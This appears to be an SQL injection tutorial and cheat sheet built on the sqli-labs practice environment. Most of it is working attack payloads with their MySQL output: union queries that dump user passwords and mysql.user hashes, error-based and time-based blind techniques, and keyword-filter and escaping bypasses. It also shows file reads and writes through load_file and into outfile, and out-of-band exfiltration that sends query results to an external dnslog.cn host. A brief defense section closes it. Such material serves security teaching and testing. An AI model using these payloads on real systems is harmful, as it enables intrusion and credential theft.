SQL Injection

What is SQL Injection?#

SQL injection refers to the situation where a web application does not properly validate or filter user input data, allowing an attacker to append additional SQL statements to the end of predefined queries in the web application. This can lead to unauthorized operations being performed without the administrator's knowledge, enabling the attacker to deceive the database server into executing unauthorized queries and thereby obtaining sensitive data.

Principle#

SQL injection attacks modify SQL statements by manipulating input to execute code against the WEB server. In simple terms, it involves inserting SQL commands into post/get web forms, input fields, or query strings of page requests, ultimately causing the web server to execute malicious commands.

Parameter Types#

In the following examples, let's assume the input value is assigned to the id parameter. Different parameter types require different suffixes to close the parameter.

1. Numeric#

select * from users where id=1;

2. Character#

select * from users where id="1";
select * from users where id='1';

3. Distorted#

select * from users where id=('1');
select * from users where id=(('1'));
select * from users where id=("1");
select * from users where id=(("1"));

4. Search#

mysql> select * from users where id like '%1%';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
| 10 | admin2   | admin2   |
| 11 | admin3   | admin3   |
| 12 | dhakkan  | dumbo    |
| 14 | admin4   | admin4   |
+----+----------+----------+
5 rows in set (0.00 sec)

5. Insert Into#

This is my own classification, self-justified.

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('parameter position', '$IP', $uname);

Closure

' or '

Using error-based types, for example:

' or updatexml(1,concat(0x7e,database()),1) or '

Update types are the same.

6. Order By#

$sql="SELECT * FROM users ORDER BY $id";

Using error-based types, for example:

updatexml(1,concat(0x7e,user()),1)

Attack Types#

In-Band SQL Injection#

1. Union-Based SQL Injection#

Use union queries to retrieve the desired information.

select * from users where id="1" union select 1,2,3 %23;

The union select must match the number of fields in the previous select; otherwise, it will result in an error.

Method to Check Number of Fields#

Order By

select * from users where id="1" order by number_of_fields;

Between the error and successful execution, the successful execution count is the number of fields.

mysql> select * from users where id="1" order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql> select * from users where id="1" order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

Group By

Same as above.

select * from users where id="1" group by number_of_fields;

mysql> select * from users where id="1" group by 4;
ERROR 1054 (42S22): Unknown column '4' in 'group statement'
mysql> select * from users where id="1" group by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

2. Error-Based SQL Injection#

Use error messages returned by the page to obtain desired information.

gtid_subset Error#

Tested on MySQL version 5.7.26, not available on version 5.5.29.

mysql> select * from users where id="1" and gtid_subset(user(),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.

floor Error#

mysql> select * from users where id="1" union select 1,2,count(*) from information_schema.tables group by concat(floor(rand(0)*2) ,0x7e,user());
ERROR 1062 (23000): Duplicate entry '1~root@localhost' for key '<group_key>'

updatexml Error#

mysql> select * from users where id="" or updatexml(1,concat(0x7e,database()),1);
ERROR 1105 (HY000): XPATH syntax error: '~security'

extractvalue Error#

mysql> select * from users where id="" or extractvalue(1,concat(0x7e,database()));
ERROR 1105 (HY000): XPATH syntax error: '~security'

exp Error#

No longer effective after MySQL version 5.5.49.

exp(~(SELECT * from(select user())a))

geometric Error#

mysql> select ST_LatFromGeoHash((select * from(select * from(select user())a)b));
ERROR 1411 (HY000): Incorrect geohash value: 'root@localhost' for function ST_LATFROMGEOHASH

3. Blind Injection#

Use logical operators and conditional checks to determine the desired information letter by letter.

3.1 Boolean-Based SQL Injection#

Determine the correctness of conditions based on the size of the page returned.

mysql> select * from users where id="1" and length(database())=8 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id="1" and length(database())=9 ;
Empty set (0.00 sec)

From the above, we can guess that the current database name length is 8.

3.2 Time-Based SQL Injection#

Determine the correctness of conditions based on the page response time.

http://192.168.31.121/sqli-labs/Less-1/?id=1' and if(length(database())=8,sleep(4),1) %23

http://192.168.31.121/sqli-labs/Less-1/?id=1' and if(length(database())=7,sleep(4),1) %23

From the above loading times, we can determine that the current database name length is 8.

Function Explanation

if(condition, true_action, false_action)

4. Stacked Injection#

Execute multiple SQL statements together; SQL statements can be executed after a semicolon ;.

Reason: The source code uses mysqli_multi_query() to accept parameters.

5. Second Injection#

Generally used in account registration, affecting the ability to change other people's passwords.

Assume there is a user test with password asd.
The hacker can create a user test'# with password 123.
The hacker logs in as test'#, changing the password to admin.
(The database executes the SQL statement: UPDATE users SET PASSWORD='admin' where username='test'#' and password='123'.)
Therefore, the original intention was to change the password of test'#, but it ended up changing the password of test.

Out-of-Band SQL Injection#

Directly sends various data from the database server to a computer or third-party platform controlled by the attacker.

The success of OOB attacks is based on outbound firewall rules, specifically whether outbound requests from vulnerable systems and perimeter firewalls are allowed. Extracting data from Domain Name Servers (DNS) is considered the most covert and effective method.

SQL injection utilizes DNS to obtain query results (OOB).

Conditions for Use

Requires a Windows environment.

The DBMS must have available subprograms that can directly or indirectly trigger the DNS resolution process, i.e., using UNC.
Linux does not have UNC paths, so this method cannot be used to retrieve data in a Linux environment.

Injection Points#

1. URL#

http://192.168.31.121/sqli-labs/Less-1/?id=1

2. User-Agent#

User-Agent: ' or updatexml(1,concat(0x7e,database()),1) or '

Main source code

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
print_r(mysql_error());     // Without this line, error messages cannot be displayed.

Cookie: uname=' or gtid_subset(user(),1)%23

Main source code

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
die('Issue with your mysql: ' . mysql_error());

4. Referer#

Referer: ' or gtid_subset(user(),1) or '

Main source code

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
print_r(mysql_error());

5. Request Body#

Same as URL testing.

SQL Injection Detection Methods#

Detection can be performed based on the above injection points.

Increment and decrement parameters by +1, -1, and observe if there are any changes on the page. If there are changes, it indicates that data may have been retrieved from the database, suggesting a potential SQL injection.
Input ' and observe changes on the page; if there are changes, it indicates a SQL injection.

Bypass Methods#

1. #, -- Nullify#

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

Bypass

' or gtid_subset(user(),1) or '
' union select 1,user(),3 or '
' union select 1,user(),3 '

2. and, or Nullify#

$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id);

Bypass

' oorr gtid_subset(user(),1)%23
' aandnd gtid_subset(user(),1)%23
' %26%26 gtid_subset(user(),1)%23
' %7c%7c gtid_subset(user(),1)%23

%26 - &

&& can also be treated as and.

%7c - |

|| can also be treated as or.

Verification

mysql> select * from users where id='' && gtid_subset(user(),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
mysql> select * from users where id='' || gtid_subset(user(),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.

3. #, --, and, or, /*, \s, \ Nullify#

$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --
$id= preg_replace('/[#]/',"", $id);			//Strip out #
$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes

\s refers to whitespace, including spaces, newlines, tab indents, and all forms of whitespace.

Bypass

'||gtid_subset(user(),1)||'
'%26%26gtid_subset(database(),1)%26%26'

Verification

mysql> select * from users where id=''||gtid_subset(user(),1)||'';
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.

4. union, select Nullify#

$id= preg_replace('/union\s+select/i',"", $id);

Bypass

union/*!66666A*/%23%0aselect
/*!44444union*/select
uunion%0aselectnion%0aselect   （double writing bypass）

mysql> select * from users where id='' /*!44444union*/select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

5. Escape ' and "#

$uname = addslashes($uname1);
or
$string= mysql_real_escape_string($string); 
or
$string = preg_replace('/\'/i', '\\\'', $string);            //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);

The following symbols will be added with a backslash by the addslashes() function:

Single quote ( ')
Double quote ( ")
Backslash ( \)
NUL (NUL byte)

mysql_real_escape_string — escapes special characters in a string for use in SQL statements.

This function has been deprecated in PHP 5.5.0 and removed in PHP 7.0.0.

Bypass

-1%df' union select 1,2,3--+

Prerequisite

MySQL needs to use GBK encoding; otherwise, it cannot be successfully exploited.

mysql_query("SET NAMES gbk");

6. Double Encoding#

User inputs id=1%27, which will be converted by PHP to id=1'.
The escape code finds a single quote and escapes it to id=1\', preventing SQL injection.
User inputs id=1%2527, as %25 decodes to %, it will be converted to id=1%27.
The escape code does not detect a single quote, so it does not escape it.
However, subsequent functions like urldecode will process the URL, converting id=1%27 back to id=1', allowing for injection.

The source code must perform urldecode() before escaping to successfully exploit.

Exploitation Methods#

Using Union Query Type as an Example#

1. View All Databases#

mysql> select * from users where id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;
+----+----------+---------------------------------------------------------------------------------------+
| id | username | password                                                                              |
+----+----------+---------------------------------------------------------------------------------------+
|  1 | 2        | information_schema,challenges,dvwa,mysql,performance_schema,pikachu,security,sys,xvwa |
+----+----------+---------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

2. View All Tables in the Security Database#

mysql> select * from users where id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';
+----+----------+-------------------------------+
| id | username | password                      |
+----+----------+-------------------------------+
|  1 | 2        | emails,referers,uagents,users |
+----+----------+-------------------------------+
1 row in set (0.00 sec)

3. View All Fields in the Users Table of the Security Database#

mysql> select * from users where id='-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users';
+----+----------+----------------------+
| id | username | password             |
+----+----------+----------------------+
|  1 | 2        | id,username,password |
+----+----------+----------------------+
1 row in set (0.05 sec)

4. View All Records of Username and Password in the Users Table#

mysql> select * from users where id='-1' union select 1,2,group_concat(concat(username,':',password)) from security.users;
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | username | password
                                                                                       |
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|  1 | 2        | Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4 |
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

5. View Database Path#

mysql> select * from users where id='-1' union select 1,2,@@datadir;
+----+----------+----------------------------------------------+
| id | username | password                                     |
+----+----------+----------------------------------------------+
|  1 | 2        | E:\phpstudy_pro\Extensions\MySQL5.7.26\data\ |
+----+----------+----------------------------------------------+
1 row in set (0.05 sec)

6. Database Version#

mysql> select * from users where id='-1' union select 1,2,@@version;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 5.7.26   |
+----+----------+----------+
1 row in set (0.00 sec)

7. System Parameters#

Refer to the commonly used system functions at the bottom.

8. View All Users in the Database#

mysql> select * from users where id='-1' union select 1,2,group_concat(concat(user,'@',host)) from mysql.user;
+----+----------+------------------------------------------------------------+
| id | username | password                                                   |
+----+----------+------------------------------------------------------------+
|  1 | 2        | mysql.session@localhost,mysql.sys@localhost,root@localhost |
+----+----------+------------------------------------------------------------+
1 row in set (0.00 sec)

9. View Passwords of Database Users#

Note that the SQL query may vary depending on the database version, so be cautious.

mysql> select * from users where id='-1' union select 1,2,group_concat(concat(user,'-',authentication_string)) FROM mysql.user;
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | username | password
                                                     |
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
|  1 | 2        | root-*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,mysql.session-*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE,mysql.sys-*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

10. View All Permissions of Users#

mysql> select * from users where id='-1' union select 1,2,group_concat(concat(grantee,'-',privilege_type)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES;
+----+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | username | password


|
+----+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|  1 | 2        | 'root'@'localhost'-SELECT,'root'@'localhost'-INSERT,'root'@'localhost'-UPDATE,'root'@'localhost'-DELETE,'root'@'localhost'-CREATE,'root'@'localhost'-DROP,'root'@'localhost'-RELOAD,'root'@'localhost'-SHUTDOWN,'root'@'localhost'-PROCESS,'root'@'localhost'-FILE,'root'@'localhost'-REFERENCES,'root'@'localhost'-INDEX,'root'@'localhost'-ALTER,'r |
+----+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.06 sec)

11. Check if the Current User Has File Read/Write Permissions#

mysql> select * from users where id='-1' union select 1,2,file_priv FROM mysql.user WHERE user='root';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | Y        |
+----+----------+----------+
1 row in set (0.00 sec)

12. Check if MySQL Allows File Read/Write#

NULL indicates that writing is not allowed; being empty indicates that writing is allowed.

mysql> select * from users where id='-1' union select 1,2,@@secure_file_priv;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | NULL     |
+----+----------+----------+
1 row in set (0.00 sec)

13. Read Local File Content#

mysql> select * from users where id='-1' union select 1,2,load_file('e:/1.txt');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | aaaaaa   |
+----+----------+----------+
1 row in set (0.00 sec)

14. Write to a File (Write a Statement)#

mysql> select * from users where id='-1' union select 1,2,user() into outfile 'e:/demo.txt';
Query OK, 1 row affected (0.00 sec)

into dumpfile can also be used to write to a file.

Error-Based Injection#

Combine with the concat() function to display error messages.

gtid_subset Error

mysql> select * from users where id="1" and gtid_subset(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1);
ERROR 1772 (HY000): Malformed GTID set specification '~information_schema,challenges,dvwa,mysql,performance_schema,pikachu,security,sys,xvwa'.

Other errors can be exploited similarly; the template can refer to the above attack types, just modify the payload accordingly.

Blind Injection#

Requires writing scripts; otherwise, testing one by one is too slow.

Stacked Queries#

All CRUD functionalities of SQL can be implemented.

Out-of-Band Injection#

http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' and load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--
http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' union select 1,load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--

Harm#

Successful SQL injection attacks can lead to unauthorized access to sensitive data, such as passwords, credit card details, or personal user information. In recent years, many high-profile data breaches have resulted from SQL injection attacks, leading to reputational damage and regulatory fines. In some cases, attackers can gain a persistent backdoor into organizational systems, resulting in long-term harm that may go unnoticed for an extended period.

Defense#

Use parameterized queries and object-relational mapping to develop applications (input parameters are treated only as string literal parameters).
Filter keywords and various special characters.
Escape characters.
Mitigate the impact of SQL injection vulnerabilities by enforcing the principle of least privilege on database access.
Employ web application firewalls for web applications accessing the database.

Common System Functions and Parameters#

Basic Information Functions	Function
system_user()	System username
user()	Username
current_user()	Current username
session_user()	Username connecting to the database
database()	Database name
version()	Database version
@@datadir	Database path
@@basedir	Database installation path
@@version_compile_os	Operating system
@@slow_query_log	Slow query log
@@versoin_compile_os	Operating system version

Common Other Functions#

For three key string functions, refer to: https://www.cnblogs.com/lcamry/p/5715634.html

String Processing Functions	Function	Example
Key concat()	Concatenate strings without separators	select concat(c1,c2) from xxx
Key concat_ws()	Concatenate strings with specified separators	select concat_ws(':',c1,c2) from xxx
Key group_concat()	Separate data in a column/group with commas	select group_concat(c1,c2) from xxx
load_file()	Read server files	select loadfile('/tmp/a.txt')
into outfile	Write files to the server	select 'xxxx' into outfile '/tmp/a.txt'
ascii()	ASCII code value of a string	select ascii('a')
ord()	Returns the ASCII value of the first character of a string	select ord('abc')
char()	Returns the string corresponding to an ASCII value	select char(97)
mid()	Returns a part of a string	select mid('abcde',1,1)
substr()	Returns a part of a string	select substr('abcde',1,1)
length()	Returns the length of a string	select length('abc')
left()	Returns the leftmost characters of a string	select left('mysql',2)
floor()	Returns the largest integer less than or equal to X	select floor(5.1)
rand()	Returns a random number between 0 and 1	select rand()
if()	Ternary operation	select if(1>2,'A','B')
strcmp()	Compares the ASCII size of strings	select strcmp('c','b')
ifnull()	Returns parameter 1 if not null, otherwise returns parameter 2	select ifnull(null,2)
count()	Returns the number of execution results
sleep()	No explanation needed

What is SQL Injection?#

Principle#

Parameter Types#

1. Numeric#

2. Character#

3. Distorted#

4. Search#

5. Insert Into#

6. Order By#

Attack Types#

In-Band SQL Injection#

1. Union-Based SQL Injection#

Method to Check Number of Fields#

Order By

Group By

2. Error-Based SQL Injection#

gtid_subset Error#

floor Error#

updatexml Error#

extractvalue Error#

exp Error#

geometric Error#

3. Blind Injection#

3.1 Boolean-Based SQL Injection#

3.2 Time-Based SQL Injection#

4. Stacked Injection#

5. Second Injection#

Out-of-Band SQL Injection#

Injection Points#

1. URL#

2. User-Agent#

3. Cookie#

4. Referer#

5. Request Body#

SQL Injection Detection Methods#

Bypass Methods#

1. #, -- Nullify#

2. and, or Nullify#

3. #, --, and, or, /*, \s, \ Nullify#

4. union, select Nullify#

5. Escape ' and "#

6. Double Encoding#

Exploitation Methods#

Using Union Query Type as an Example#

1. View All Databases#

2. View All Tables in the Security Database#

3. View All Fields in the Users Table of the Security Database#

4. View All Records of Username and Password in the Users Table#

5. View Database Path#

6. Database Version#

7. System Parameters#

8. View All Users in the Database#

9. View Passwords of Database Users#

10. View All Permissions of Users#

11. Check if the Current User Has File Read/Write Permissions#

12. Check if MySQL Allows File Read/Write#

13. Read Local File Content#

14. Write to a File (Write a Statement)#

Error-Based Injection#

Blind Injection#

Stacked Queries#

Out-of-Band Injection#

Harm#

Defense#

Common System Functions and Parameters#

Common Other Functions#